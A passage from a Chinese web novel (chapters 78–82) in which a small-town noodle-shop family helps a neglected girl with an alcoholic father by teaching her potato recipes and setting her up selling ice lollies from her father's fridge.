所以她不知道,宁时春还没去干活,更没做到独立,自己的办法居然已经那么快取得成效,开始给她家挡这些来自老宅的麻烦了。 宁时春跟家里保证,自己愿意担下他爸三分之一的债务,也就是五千块钱后,换得了后续的清净,终于能顺顺利利,暂时没有后患地干活去了。 只是被烦到的人这次终于轮到宁绍德了。 有些当父母的总是喜欢在孩子之间均贫富,哪个孩子过得不好,就理所当然地认为,其他孩子得帮衬过得不好的。 他们偏心宁绍德是真,不太喜欢宁绍贤也是真。 但是当宁绍贤出了事,他们就觉得自己作为父母,必须得帮着想办法。 可黄秀华和宁达上了年纪,能想到的办法无非就是让其他孩子帮忙,或者跟亲戚借钱。 宁绍明愿意给宁绍贤的儿子发工资,虽然不是直接出钱,也算是帮了忙,而且他态度又强硬,所以他们不再找他。 那还没帮忙的就只剩下老二宁绍德和女儿宁美婷了。 老二即使一直得到他们的偏爱,但是他们觉得偏爱他,跟帮大儿子并不冲突,老二作为兄弟也该帮他大哥一把。 至于女儿,以后有事得找娘家给她撑腰,娘家有事她怎么也该出一份力。 老两口商量了半晌,决定分头行动。 黄秀华觉得老二跟自己最亲,他平时最贴心,也最听自己的话,所以决定由自己亲自去找老二,让宁达去找女儿。 宁绍明早上买菜回来,路过镇上的汽车客运站,在一辆开出去的车上靠窗的位置,看到了他妈。 回去后问宁时春,知道老太太打算去县城找宁绍德帮宁绍贤,没忍住笑出声。 他真想去现场看看老二被老太太问要钱,在老太太面前装不下去那个场面,肯定很有意思。 宁时春一头雾水地看着他:“三叔你笑啥?” “没什么,你把这葱花切一下,等会儿我做馒头,你也过来看看,今天不是集日,忙完早上的饭点,我让你上手试一试。” “好!”宁时春开心地应了一声,几口吃完最后两口早饭。 一大早就能吃一碗羊肉米粉当早饭,这放在一年前,宁时春想都不敢想。 以前街上的米粉,也只有在偶尔赶集时才能遇到,现在他不但能吃到煮米粉,想吃炒米粉也行。 幸福感蹭蹭往上涨,干起活来简直有使不完的劲儿。 他也很喜欢吃热狗面包,午饭打算就吃那个。 不过那么好吃的东西,他三叔还说那不是真正的热狗面包,真不知道真正的热狗面包会好吃成什么样! 宁时秋和宁时夏也早起在店里帮忙,做一些力所能及的简单的活。 搬家后,他们家到学校的距离更近了,早上不用去那么早。 这会儿他们吃完早饭就搬了小板凳,坐在门口择菜。 有人路过门口还顺带招呼客人,问人家要不要进来吃东西。 两个孩子择好一篮子菜,正准备一起搬到院子的水池里,让大人洗。 一抬头,看到面前站着一个踟蹰着不敢上前的人。 宁时夏热情地招呼:“思莲姐,你要进来吃东西吗?我家的东西可好吃了!” 赵思莲把手放进口袋,捏了捏里面的五毛钱。 她爸让她来买米粉,可他不知道太久没上街还是怎么的,竟然不知道米粉涨价到六毛钱一碗了,只给了她五毛钱。 赵思莲忍着内心的羞耻感,走到宁时夏和宁时秋身边。 左右看看,确认身边除了他们俩没有其他人,才小心翼翼地开口:“小夏,我只有五毛钱,能不能帮我问问你爸爸,卖给我一碗五毛钱的煮米粉?我那碗少放点米粉或者肉可以吗?” 宁时夏跟哥哥对视一眼,他们还是第一次遇到这样的要求。 宁时秋看赵思莲羞愧脸红得仿佛大虾快要熟透的样子,又想起她家的变故,不忍拒绝:“小夏年纪太小,我爸妈不让她进厨房,我帮你去问问。” 赵思莲连连点头:“好的好的,谢谢你们!” 宁时秋跑进去没一会儿就又跑出来了。 对上赵思莲期待的目光,他摇了摇头,赵思莲眼泪差点冒出来,她担心没做到她爸吩咐的事情,回去会被打。 宁时秋看到她要哭出来的样子,顾不上平顺气息,微微喘着气说:“我妈说少放料、少收钱这个先例不能开,但你是她堂侄女,可以网开一面,今天一碗煮米粉只收你五毛,但下不为例,要是你以后带来的钱又不够,还想买米粉的话,就得帮我家干活了。” 这户让赵思莲听着眼睛一亮,她不怕干活,只怕这一次成功带了一碗足量的米粉回去,以后她爸还这样只给五毛就让她来买。 买不到他肯定会生气打骂她,带回去的米粉,分量不如之前,他也会生气打骂她。 赵思莲不想被打骂,也不想永远靠着别人对自己的可怜,去占人家的便宜。 能干活抵消一毛钱真是太好了! “我干活可麻利了,现在就能帮忙!”她左右看看,看到宁时夏和宁时秋还没抬进去的一篮子蔬菜。 直接两手一抓一提把篮子抬起来,风风火火地帮忙把那一篮子蔬菜搬进去了。 宁时夏一路跟在赵思莲屁股后面羡慕地看着她:“思莲姐,你力气真大!” 赵思莲很久没被人夸过了,有些不好意思地笑笑,谦虚道:“没有没有,我从小干活,习惯了而已。” 她顺手就把那一篮子蔬菜洗干净了。 蔬菜洗干净后,看到池边上客人用过,但还没来得及洗的碗堆在那里,又把那些碗全部洗刷干净了。 “你真能干!”宁时夏毫不吝啬地夸奖,“你以后要不来我家干活吧,我哥有钱,让我哥雇你,我爸也雇我大堂哥给他干活,他们大人雇大人干活,我们小孩雇小孩干活。” 她也听说了赵思莲家里的事,知道赵思莲没有妈妈了,她爸爸又不是一个好爸爸,就很想帮帮她。 只是不知道怎么帮,今天终于想到了一个她觉得非常好的办法。 宁时秋听见妹妹的话,忍不住敲了她脑门一下:“你可真会安排,为什么是我花钱雇人,不是你花钱?” 宁时夏捂着脑门说:“我最近想攒钱买东西呀,你现在又没有想买的,可以等我买到了那个东西,剩下的零花钱用不着了,再花我的钱雇行不行?” 赵如月进来看他们在做什么,听到女儿这话就笑了:“不行。” 三个孩子异口同声地问:“为什么?” 赵如月:“雇童工犯法!” 第79章 “啊?还有这个规定啊?” 宁时夏被吓到了,她怕自己爸妈被抓走,“那我以后不在外面跟人说,我在家里帮爸爸妈妈干活了,哥哥,我们悄悄地干,以后也不到门口去干活了,只在家里干。” 赵如月哭笑不得:“给自家干活不算雇佣童工。” “对呀,不用那么小心吧?我们给家里干活,爸爸妈妈不给工资,应该就不算雇我们了。”宁时秋给出自己的理解。 赵如月听得目瞪口呆:“好像也不能这么解释,反正自家人给自家干活算是做家务,亲戚偶尔来帮忙干点活,也不算雇童工,但是我们不能像雇你们大堂哥那样,雇思莲来干活。” 她这么解释,三个孩子总算明白了。 赵思莲感觉有些遗憾,要是她能来干活就不用饿肚子了。 她大伯和大伯娘昨天和今天都不在家,去大伯娘的娘家吃席了,路比较远,要明天才能回来。 她爸成天要么在家里喝酒,要么去别人家喝酒不管她。 赵思莲昨天一天没怎么吃东西,就混了个水饱,她爸今天又只给她五毛钱买一份煮米粉。 家里的米缸空了,连喂鸡的米糠都没有。 她大伯家因为要出远门,所以也把吃全锁到房间柜子里防止被老鼠吃。 赵思莲回去还不知道能吃什么填饱肚子。 赵如月担心被赵鸿利赖上,也不敢明着帮赵思莲。 要不然赵鸿利知道她在外面有人接济,还真有可能以后都不管她吃穿了。 外人就算帮赵思莲,也只能帮一时,不能一直帮。 必须得逼着赵鸿利负担起养育的责任。 赵如月跟赵思莲说:“思莲,你打包米粉回去后,别跟你爸说你给我干活抵了少的那一毛钱,就说我记账了,凑够一块钱就会去找他要账。” 赵思莲不明白如月堂姑为什么要让自己这么说,但知道堂姑不会害自己,不管是谁,都比自己亲爹好多了。 赵思莲郑重地点头说:“我记住了。” 厨房里宁绍贤蒸的馒头出锅了,多出来一小团面剂子,做不成热狗面包,宁绍明就揉了揉做成圆圆的普通馒头。 赵如月把这个馒头给了赵思莲:“你吃完再回去。” 赵思莲接过馒头主动说:“谢谢姑,我在这里吃了馒头这事,回去我也谁都不说。” “这就对了,真聪明!”赵如月欣慰地点头,觉得这孩子要是不走歪路,以后也不会差到哪里去。 她想起来之前见冬兰在菜地里划出来两块地方,种土豆和红薯。 红薯还没到成熟的季节,但他们这里土豆能种两季。 第一季土豆收获的时间就在六七月份,也就是现在这时候。 “思莲还记得你家菜地是在哪块地方吧?” 赵思莲忙咽下嘴里的馒头回答:“知道,之前我妈去种菜我跟着去过,左边是大伯家的菜地,右是我家的菜地。” “对,我记得你妈去种土豆和红薯的时候,你也跟着去了,你们种下的土豆现在应该可以挖了。 红薯得等到八月份,就是你们放暑假的时候才成熟,你今天放学可以去菜园里挖一些土豆吃,如果不会做的话,可以来我家学,我教你几样简单的,你换着吃。” “太好了!”赵思莲不知道这个,听赵如月这么说很惊喜。 她本来想着放学回家时,家里再没有吃的,就去菜园里拔点菜煮一煮填肚子。 可光吃青菜也很容易饿,有土豆就好多了。 她拿出纸笔问道:“如月姑,你可以现在就教我吗?我记下来回家就能直接做,不然还得来麻烦你,放学的时候,你们这里也忙呢,我不好意思在你们那么忙的时候,还来打扰你。” 赵思莲迫不及待地想回去挖土豆煮了吃。 她不好意思说,那个馒头虽然挺大的,普通小孩子吃那么大一个馒头肯定饱了,但她饿了好久,食量也大,一个馒头吃下去,只能吃个半饱。 本来想回去多喝点水骗骗肚子,可现在有土豆,她就不用再挨饿了。 不过赵思莲只会煮土豆这一种做法,她想多学几种。 “没问题。”赵如月跟她说了煮土豆、蒸土豆、烤土豆、咸口土豆泥、甜口土豆泥、土豆饼、土豆鸡蛋饼、土豆菜饼、煎土豆块这几种比较简单的土豆吃法。 还说了土豆的保存方法以及发芽的土豆不能吃之类的注意事项。 喜得赵思莲又帮她洗了两盆碗才回家,赵如月拦都拦不住。 她带着煮米粉回到家,赵鸿利难得不是醉醺醺的状态,看到她真只花五毛钱就带回来一碗煮米粉,很得意于自己的小聪明。 只是在听到赵思莲说赵如月结账,等凑够一块钱就来找他要账,赵鸿利的脸瞬间变得阴沉。 嘴里骂骂咧咧:“呸!还是亲戚呢,真是越有钱越吝啬!格局那么小,我看她家也发不了大财!以后不许再去她家买东西,不然她家再赚到我们家一分钱!” 赵思莲听到他骂人就忍不住缩起脖子,尽量减少自己的存在感。 看听到他咒骂好心帮自己的赵如月,又觉得心里难受,想反驳又不敢。 直到赵鸿利说下次不许去她家买东西,去别的店买。 赵思莲终于忍不住说:“我去别家店全问过了,别人连赊账也不给,只有如月堂姑还愿意让赊一毛钱。” 说完她见到赵鸿利扭曲的表情,被吓得转身就跑。 她担心被追出来打,边跑边小心翼翼地回头看,没想到她爸只是骂,并没有追出来要打她,顿时松了一口气,赶紧找个地方躲起来。 赵思莲不知道,赵鸿利光顾着喝酒,没正经吃过饭,就算有下酒菜,那些下酒菜也只是酒的陪衬。 更何况他跟他的酒友们也都没什么钱,买不起好菜,下酒菜一般只有一碟花生米或者一碟煎小鱼,没法填饱肚子。 他肚子里长时间没多少实在东西,再加上酒精的长期影响,让他根本没力气追出去,他那手抓起筷子都抖得很,只能先吃赵思莲带回来的煮米粉,想着吃饱再收拾她。 然而赵鸿利吃着吃着,又馋酒了,给自己倒了一杯,边吃边喝。 吃着喝着,不知不觉就又醉了。 喝醉后想起老婆跟人跑了的事,光顾着骂老婆和那个不知道是谁的奸夫,以及老婆娘家人,哪还想得起收拾赵思莲。 等他醉倒过去,赵思莲也挖了好几个土豆清洗干净,从后门钻回厨房,把土豆蒸熟,切成两半撒了点盐,吹一吹,热乎乎地咬了一口。 两个大土豆下肚,她摸了摸肚子,饱得想流眼泪。 第二天她起了个大早,在自家菜园子里割了不少长好的小葱和香菜,她知道米粉店需要这些比较多。 就把小葱和香菜全部洗得干干净净,趁着赵如月和宁绍明没开门,悄悄送过去放在门口就跑。 赵如月隐约猜到是谁放的,想给她点别的东西补偿,可好几次都没碰到只好,让宁时秋在学校里多关照她一些。 她妈妈的事在镇上闹得沸沸扬扬,赵思莲在学校里多少会受到一些影响。 “要是有人欺负思莲,你能帮就帮帮她,可别跟着别人一起孤立她。” 宁时秋听到妈妈的吩咐有些无奈,思莲妈妈的事都发生那么久了,妈妈现在才说这些,是不是有点迟? “妈妈,我跟思莲本来就是朋友,她被人欺负,我肯定会帮她呀,你忘了,我们以前住对门,是发小来着,我怎么会跟别人一起孤立她,她又没做错什么。” “……” 赵如月再次意识到自己确实太迟钝了,孩子的事他们自己能处理得很好,她还是别再指手画脚了:“看我这脑子,忘了你们也是好朋友,你做的很好,继续保持吧。” 宁时夏举手:“还有我,我跟思莲姐和思葵也是好朋友!” 说起赵思葵,她心里有点难过:“可惜思葵被她妈妈带走了,我好久没见到思葵都有点想她了,妈妈,思葵还会回来吗?” 赵如月摇头:“我也不知道。” 上辈子赵思葵没回来过,她被带走时年纪太小了,长大后对这边老家的记忆大概会变得模糊,甚至完全忘记。 不回来也好,不然还有可能会被赵鸿利黏上,甩脱不掉。 “聊什么呢?来尝尝这鸡蛋糕。”宁绍明端着一盘鸡蛋糕进来,招呼她们都尝尝。 赵如月看到那盘白色的鸡蛋糕,笑问:“打发蛋白又失败了?” “是啊,我看还是得买个冰箱,夏天肉这么放着也容易变质,这笔钱看来是没法省了。”宁绍明这几天带着宁时春试做蛋糕好几次。 想试试蛋白不冷藏行不行,可现在气温太高,蛋白没冷藏过,是真难打发,他也就成功过两次,宁时春一次没打发成功过。 没打发成功的蛋白,宁绍明只好加入面粉和糖上锅蒸,做成鸡蛋糕。 鸡蛋糕放在店里卖,销量一般,有时候卖不完,就他们自己分一分吃掉了。 今天家里的红糖不够了,宁绍明就试着往一部分面里加白糖,所以今天有一部分鸡蛋糕就是纯白色的。 “加白糖做的鸡蛋糕,我还是第一次吃,”赵如月捏了一个,咬一口,“味道竟然还不错。” 这几天宁绍明都吃腻了,听她这么说,也拿了一小块来吃:“确实还行,跟红糖鸡蛋糕是不太一样的味道。” 宁时夏听到她爸提到冰箱,咽下嘴里的鸡蛋糕问:“爸爸要冰箱冰什么?我可以找思莲姐帮忙,思莲姐姐家有冰箱。” 赵如月意外地说道:“我听说昨天她外婆和舅舅带着人来她家,调解他们之间的矛盾,调解完后,好像带走不少东西,她家的冰箱没被她外婆家的人搬走?” 第80章 冬兰她娘家妈那天大喊着,要去县城找法官大老爷给她做主,最后也没去。 她家叫的镇上不知道是派出所还是哪里的调解员,去赵鸿利家帮忙调解。 双方调解之后,镇上的人终于知道冬兰跟赵鸿利也算是正经夫妻,他们那叫做事实婚姻,法律也承认的。 可冬兰又跟人领证跑了,冬兰她娘家人估计收了别人不少钱,死活不愿意说她在哪里。 后来经过调解,他们愿意说了,可找到地方,那边的人又说那个男人带着冬兰走了,不知道去哪里。 这会儿各个系统也不联网,她自己不回来,想找一个人真的很难,她跑到外地去改头换面,谁也不知道。 再加上赵鸿利想要钱,最后定下一个双方都接受的结局方案,冬兰娘家人把收到的彩礼赔一半给赵鸿利。 那些彩礼他们花了不少,赔一半也拿不出来,就只给了一千块钱现金,剩下的用冰箱和洗衣机来抵。 赵如月忙着店里的事没去看,只听说他们找人调解后,事情解决了。 还是今天听女儿说起来,才知道赵思莲家有冰箱和洗衣机。 也不知道是不是该为她高兴:“至少她以后洗衣服方便多了。” 冬兰不在,赵鸿利不是个会做家务的人,他家的家务肯定会落在赵思莲这孩子身上。 做饭打扫卫生这些还好,需要的体力不多,可没有洗衣机,冬天洗衣服就很难了。 “不是哦,”宁时夏告诉赵如月,“思莲姐说,她爸嫌用冰箱和洗衣机太费电,不想交那么多电费,不让她用,好像打算要卖掉,妈妈,要不我们买思莲姐家的冰箱?肯定比买新的冰箱便宜很多。” 赵如月可不愿意跟赵鸿利打交道:“那可不成,我们开店买冰箱不太合适,得买冰柜。” “要买小卖部里冻雪糕和饮料的那种,四四方方掀盖子的冰柜吗?” “对,那种能装的东西比较多。” “到时候我们家是不是也能卖雪糕和饮料?”宁时夏期待地看着她。 赵如月灵机一动,她们家买饮料还可以,卖雪糕就有点不太合适,雪糕还是比较适合在小卖部卖,或者本钱少的人零散着卖。 赵思莲就属于后者,只是不知道她敢不敢背着赵鸿利用冰箱。 要是她敢的话,倒是可以在赵鸿利把冰箱卖掉前,赚点零花钱傍身。 事情八字还没一撇,赵如月暂时没跟两个孩子说:“雪糕我们家就不卖了,你们喜欢吃,我可以批发一些回来留着自家吃。” 她打算等自家的冰箱送到家,去批发雪糕的时候,多批发一些便宜的糖水冰袋和盐水冰棒,再去问赵思莲。 要是她不敢,自己留着自家人慢慢吃也行。 赵如月心里计划着这事,却不知道她家两个机灵鬼跟她的想法不谋而合。 并且行动力极强,在她去县城选冰柜的时候,已经带着赵思莲一起谋划起来了。 三个孩子头顶着头商量。 宁时秋问赵思莲:“思莲,你爸找到人买你家冰箱了吗?” 赵思莲说:“没呢,我爸想把冰箱和洗衣机卖掉,但是我大伯好像不乐意他卖,想把冰箱和洗衣机拿到他家去用,说以后让我大伯娘帮我和我爸洗衣服,我出来之前听到他俩吵了几句。” “你大伯还有这个心思啊?”宁时秋有些惊讶,他以前听到的、看到的都是大人们和思莲她大伯娘出来说,思莲他大伯对他爸多好、多不求回报来着。 “我大伯说那些东西是他给我爸出头,帮他搬回来的,他也有资格用,我爸又说那是我妈娘家赔给他的东西,要不是他说要钱不要人,这些东西就算搬回家,也得被我外婆家的人重新搬走,”赵思莲挠挠头,“我觉得他们说的好像都有点道理,大人的事,太难懂了。” 宁时夏觉得那些弯弯绕绕的真麻烦:“我们是小孩子,大人的事情要等我们长大才会懂,可是我们离长大还有那么久,不懂就不懂吧,反正不懂也不耽误我们做冰棍。” “没错!”宁时秋打开瓶身是大红色,还印着牡丹花的老式铁壳保温瓶,“我今天叫我爸煮绿豆汤了,我们今天先试试看能不能做成冰棍?” 他跟妹妹昨晚说今天想喝绿豆汤,他爸今晚就做了一大锅,他们俩等绿豆汤稍微晾凉了,放到保温瓶里才偷偷带出来的。 “一保温瓶绿豆汤有很多,思莲你先喝一碗?”宁时秋说着就把保温瓶的盖子当碗,给她倒了一碗。 赵思莲都没来得及拦,他已经倒好了。 不等她拒绝的话说出口,宁时夏就说:“我们做冰棍的模子少,一人喝一碗,剩下的灌满模子,还能剩下不少,到时候分着喝完再回家。” 宁时夏她说着拿出一个塑料袋,里面有一小沓一次性的纸杯子。 这些小碗是赵如月去县城批发食材的时候,买的东西比较多,人家老板搭着送的、卖不出去的东西。 一大包总共四十个杯子,今天他们拿了十个来。 宁时夏的塑料袋里还有一小捆竹签:“刚好上次爷爷帮忙做的烧烤签还在,我们也不用再做了。” 赵思莲看过冰箱的使用说明,趁着赵鸿利昨晚和今天都不在。 昨晚上就悄悄把冰箱通上了电,调好了档位。 以赵思莲的观察,她大伯跟她爸吵架之后,最少一个星期不会来她家,也不许她大伯母搭理她,这几天只需要防着不被她爸发现。 现在他们只需要把绿豆汤倒出来,搅拌均匀,让每一个杯子里的绿豆和糖水都差不多一样多。 最后放进冰箱,等待明天。 赵如月晚上带着冰柜回来,一家人稀罕地围着冰柜转悠。 宁时夏一个兴奋,就把她们今天做的事说漏嘴了:“冰柜果然更大,能冻的东西更多,要是思莲姐家也有冰柜,那我们一次就可以冻更多绿豆冰棍,卖更多钱了!” 赵如月:“嗯?” 宁时秋一把捂住妹妹的嘴,可惜已经来不及了。 宁绍明恍然大悟:“怪不得昨天给你们钱去买雪糕你们不要,非说要喝绿豆汤,让我给你们做,原来打的要做无本买卖的主意。” 赵如月有些不敢置信地问:“你们跟思莲做绿豆冰棍卖?” 她还没问赵思莲,这几个孩子竟然已经行动起来了,真是让她又惊又喜。 宁时秋松开手说:“我们刚开始做,明天冻好才能卖,也不知道能不能卖得出去。” 赵如月觉得自己落后了,忙道:“你们明天去找思莲的时候问问她,要不要试着卖些糖水冰袋和盐水老冰棍。 绿豆冰棍要是好卖的话,我去给家里批发雪糕的时候,可以顺便帮她批发一些给她卖。 你们自己煮绿豆汤冻成冰棍再卖,太慢了,还要自己准备竹签杯子之类的东西,太麻烦了。” 她说完这些,两个孩子看着她的眼睛里仿佛带着星星,觉得自己妈妈真是太好了,简直是世界上最好的妈妈! 第二天他们去找赵思莲把这事一说,赵思莲跟他们也是同样的感受,可惜好家长都是别人家的。 她的家长不行,得自己立起来。 “糖水冰袋、盐水老冰棍和绿豆冰棍,我都想卖,只是我现在没钱……能不能先赊账?” “没事,我有钱可以先借给你。”这次宁时秋没跟对他堂姐一样要分成。 他知道赵思莲太不容易了。 他大伯和大伯娘再不好,貌似也没打过堂姐?反正宁时秋没见过堂姐挨打,顶多是被大伯宁气急了拧一两下,不知道这算不算打孩子? 大伯娘平常倒是会人骂得比较厉害,但从来不会不给堂哥堂姐饭吃,大伯没听见骂过孩子,但他也有可能是当甩手掌柜,根本懒得去管孩子。 而且他跟堂姐的那个小生意,他也是因为出了自行车,堂姐没有自行车就没法做这个小生意,他觉得自己的自行车在这个小生意里至关重要,才要的分成。 就像他们现在冻的第一批绿豆冰棍,赵思莲出冰箱,他跟妹妹出绿豆汤、杯子、竹签这些,他们就要分成了。 虽然一根绿豆冰棍只卖一毛钱,但该要还是要,不会因为觉得赵思莲不容易,就不要属于自己那一份。 他们把绿豆冰棍拿出来,先一起分吃了一个,觉得味道还行,就正式开卖了。 宁时夏问:“我们去哪里卖?” “我们去学校门口卖吧?”赵思莲提议道,“学校大门下午两点半开,我们一点半就在那里等着了,人很多,我们可以卖给同学。” 宁时秋想了想,却摇头说:“不去,我们就在你家门口卖。” 这话让宁时夏和赵思莲都吓了一跳。 “万一被思莲姐她爸发现怎么办?” 赵思莲惊恐地说:“对呀,我爸可凶了,还他会打人!” 宁时夏说:“要不我叫我爸爸来,下午店里生意少,让小春哥看店也行,我爸爸在他应该就不敢打人了。” 在宁时夏心里,自己爸爸就是最厉害的! 思莲姐那个坏爸爸比她爸爸矮,也没她爸爸强壮,走路还摇摇晃晃的,站都站不稳,肯定打不过她爸爸! 宁时秋还是摇头:“不用,我们就是要让思莲她爸爸知道,思莲在卖冰棍,而且还要让他知道,思莲卖冰棍能挣钱。” 这是昨天妈妈提出,可以帮赵思莲批发冰棍后,他想到的方法。 宁时夏不懂且担心:“为什么?要是那个坏人把思莲姐的钱全抢走怎么办?” 80-90 第81章 “他不敢抢。”这句话宁时秋说得很笃定。 以前跟赵思莲家住对门,赵思莲的爸爸是个什么样的人,宁时秋通过观察早就观察出来了。 他不敢正面对上自己父母,或者说,不敢正面对上看起来比他厉害的成年人。 面对比他厉害的人,他只敢在私底下耍点恶心人的小手段。 比如之前只给赵思莲五毛钱去买煮米粉,这就是他的试探。 要是让他知道谁对自己女儿好心,以后肯定会被赖上,一直只给赵思莲五毛钱让她去买。 这种事别人不好当面说他,就算被人当面说,他也能推到赵思莲身上,各种找借口,说是赵思莲的错,。 必要的时候,可能还会在外人面前打赵思莲一顿,打她给人家看,大部分人见到那场面都会于心不忍,然后事情就能糊弄过去。 可是涉及真生的、更多的利益就不一样了。 一毛钱不多,可以糊弄过去,但更多的钱就不行了。 他也知道钱一多很难找借口糊弄过去,更没办法推到小孩身上。 他赖不掉,反而不敢耍心眼。 赵鸿利也挺好面子,以前在外人面前挺爱装的,虽然装得不怎么样。 但跟酒比起来,面子就不算什么了。 爱喝酒,但是跟钱财比起来,酒好像又能暂时放下。 毕竟他也不傻,知道有了钱,自己才能有酒喝,一直能有钱入账,就能一直有就喝。 宁时秋让赵思莲放心卖:“我们跟着你一起卖,他会以为那是我们家的生意,肯定不敢怎么样。” 事实证明,宁时秋的话没说错。 赵鸿利回到家,发现他们卖的绿豆冰棍是赵思莲用自家冰箱冻的,不管心里怎么想,面上是装得挺好。 非但看起来没生气,还笑眯眯地夸奖他们有生意头脑。 宁时秋趁机说:“鸿利堂舅,我妈进了一批冰棍,家里冰柜还要放别的东西,放不下那么多冰棍,整条街就只有你家有冰箱,她让我问问你,能不能放一部分到你家冰箱帮忙冻着?” 赵鸿利哪愿意吃这种亏。 他心说:你可真敢问,开冰箱不用花电费吗? 但他要面子,非得装大方说:“行啊,你只管带来放,不过我家冰箱快要卖掉了,估摸只能放个两三天,你得跟你妈说,让她赶紧把你们家的冰柜腾出来,要不等我家冰箱卖出去,可没地方放了。” 宁时秋遗憾道:“那太可惜了,我妈本来想着,冰棍放你家冰箱里,思莲姐还能帮着慢慢卖来着,卖出去一个一毛钱的冰棍,能挣三分钱,到时候平分利润,也算给你家交电费了。” 其实一根一毛钱的冰棍利润是五分钱,他故意说低了。 但再低的利润,数量升上去后,积少成多,收益听起来也能非常可观。 “我妈说她都看过了,我们这条街上,只有一个小卖部有冰柜,可以卖冰棍,但是这条街那么长,住的人那么多,只有一家卖冰棍的怎么够? 我们就算一天卖出去一百根,也能赚到三块钱,能买一斤多的猪肉,两家平分就是半斤多的猪肉,去买煮米粉吃,能吃两碗还剩三毛! 一个月下来每家也能赚四五十块钱,看着好像不多,但一个月的肉钱,肯定能挣出来的。” 宁时秋用猪肉来换算,赵鸿利用的却是酒,他喝的是镇上打的散装白酒,一块五一斤。 平时赵鸿利兜里没多少钱,他喝酒也得省着喝。 但是他早上和晚上吃饭时都要喝点,再省也省不了多少。 打一斤白酒回来,最多三天就喝光了,还喝得不尽兴。 要是一天能有一块多入账,就相当于一天能多出一斤酒的量,他喝酒就不用跟以前一样算着量喝了。 万一哪天卖得更好,没准还能去集上割一块猪耳朵或者猪头肉当下酒菜。 那小日子,赵鸿利想想都觉得美滋滋。 最重要的是,还不用他干活,相当于白得的钱。 虽然他兜里现在有冬兰娘家赔的一千块钱,可那钱又不是不会花完。 就这几天,那一千块钱已经少一大半了。 上回他大哥跟他吵完架,就叫他还以前生二女儿的时候,帮他垫的超生罚款的钱,他给了五百。 这几天又买了点菜跟朋友一起喝酒,剩下的钱已经不到五百了。 宁时秋准备的话还没说完,赵鸿利就心动了,看冰箱的眼神仿佛看会下蛋的金鸡。 他决定暂时不把冰箱卖掉,只卖洗衣机。 然而赵鸿利家的洗衣机最后也没能卖掉,主要原因是镇上每个家庭里负责洗衣服的人并不喜欢洗衣机。 她们的想法,跟洗碗机刚出来时很多人的想法一样,觉得费电、费水、费时间。 现在的洗衣机也不是全自动,还得人把衣服放进去,洗好后再拿出来,再放到脱水的那一边去脱水。 真是不够麻烦的,还不如她们自己随手搓一搓来得方便快捷。 赵如月倒是想用洗衣机,但她觉得赵鸿利那个洗衣机洗过外人的衣服,她膈应,不如等再攒攒钱,买个全新的回来用。 最后赵鸿利只能把洗衣机留下。 赵如月教了赵思莲怎么用洗衣机,但是也让她暂时别用:“一个家里谁挣得多,谁说话就更有分量,你现在挣到的钱还少,人也小,对上你爸没底气,等你挣到的钱多了,他靠你挣钱生活就得听你的,到时候你再提出来也不迟。” 赵思莲听完把这话记在了心里。 赵鸿利看着他们,顺利地把他们自己做的绿豆冰棍全卖光 十根冰棍,被他们分着吃了一根试味道,剩下九根,一毛钱一根,收入九毛。 因为这些冰棍是他们薅家里的材料自己做的东西,没花什么钱,赚到的钱全都是利润。 三个孩子每个人分到了三毛钱。 赵鸿利算是彻底被说服了。 接下来赵思莲用家里的冰箱放冰棍的事,就没再遇到什么阻碍。 就连赵鸿利他大哥听说他不卖冰箱后,想把家里没吃完的肉拿过去放冰箱里冻,赵鸿利都没给。 气得他大哥又骂了他一顿,赵鸿利也不为所动。 赵思莲就这么开始了每天放学和节假日卖冰棍的日子。 宁时秋跟赵鸿利说一毛钱一根的冰棍利润是三分,还要分给赵如月一半。 实际利润是五分,赵如月只是帮忙批发冰棍回来,不要分成。 被赵鸿利拿走一点五分钱,她自己还能剩下三点五分钱。 而且赵鸿利隔三差五喝得醉醺醺,不知道每天卖出去多少冰棍,赵思莲每个月就少报一点卖出去的冰棍的数量,又能扣下一点钱。 每个月几乎都能有几十块钱入账。 最开始赵鸿利记得去磨米,给家里米缸添米,她就有米饭吃。 赵鸿利不记得,她就只能用菜园里种出来的土豆和青菜填肚子。 后来,她慢慢地攒下了一些钱,也舍得隔三差五悄悄给自己买点肉吃了。 这个夏天,赵思莲每天都很忙碌,但没再饿过肚子。 赵如月给家里添置了冰柜后,宁绍明打发蛋白终于没再失败过。 端午节两个孩子放假,又正好是宁时夏的生日。 宁绍明忙完上午客人多的时间段,把厨房交给宁时春,特地抽出时间去了一趟县城。 买回来两盒淡奶油、一瓶玉米油、一箱牛奶。 回来后,用买回来的材料,加上家里现有的材料,用家里的电饭锅做了一个蛋糕胚。 做好之后从中间横着切成两半,中间和四周都抹上打发的淡奶油,再往奶油里加入一点不同的水果汁,点缀在蛋糕上。 材料有限,做出来的成品肯定不如蛋糕店里的那些,但即使这样,也让宁时夏对他崇拜不已,开心地围着他,各种夸奖的话不要钱似的一连串地从她嘴里冒出来。 剩下的面还有一些,宁绍明干脆把面糊放入裱花袋里,挤在家里的平底锅上烘烤。 做了一个个圆圆的、不正宗版铜锣烧的饼皮。 两个饼皮之间不管是加奶油、还是加红豆馅、绿豆先、莲蓉馅都很受小孩子欢迎。 宁绍明自己吃了一个,觉得不错,做起来又简单,就说道:“以后我们店里做蛋黄酱剩下的蛋白可以用来做这个。” 赵如月问:“只放蛋白也可以?你刚刚做的面糊里,不是蛋黄蛋白都放了吗?” “可以,只是做法稍稍有点变化,面糊也不用像做蛋糕胚那么稠,要更稀一点。” 赵如月不懂这些,他说可以那八成就是可以的:“你决定就好,不过我们店里是不是要开始上凉面那些了?现在天也很热了,我看别的店已经开始卖凉拌米粉了,还有些店开始跟风卖炒米粉,我们店里生意有点受到影响了。” 宁绍明:“过完端午就上新,到时候煮米粉和炒米粉的活交给小春,他已经做得很不错了,这个夹馅的饼和凉面那些我来做。” “你心里有数我就放心了。”厨房里的事,赵如月不太管,反正她只管店里的账目和前面招呼客人。 采购这事,以前没有宁时春帮忙的时候,主要是她来负责。 现在厨房有宁时春帮忙,宁绍明也能腾出时间来,他就跟赵如月都是看谁有空谁就去采购。 除了蛋糕,傍晚,宁绍明还做了一桌好吃的菜给女儿庆生。 他本来还想过,要不要去老宅,叫那边的人也来一起吃,毕竟难得吃一顿这么好的饭菜。 家里做好菜,会叫父母和近亲来一起吃,也是这里的习惯,就算有矛盾,一顿饭他还是不会吝啬的。 谁知去买菜的时候遇到他妈,宁绍明见到她了,但是她没注意到他。 正准备打个招呼,就听到她说:“一个小孩,庆什么生,也不怕折寿!” 宁绍明直接转身就走,老宅的人除了宁时春,谁也没叫来。 第82章 蛋糕是吃过晚饭后,天黑了才吃的。 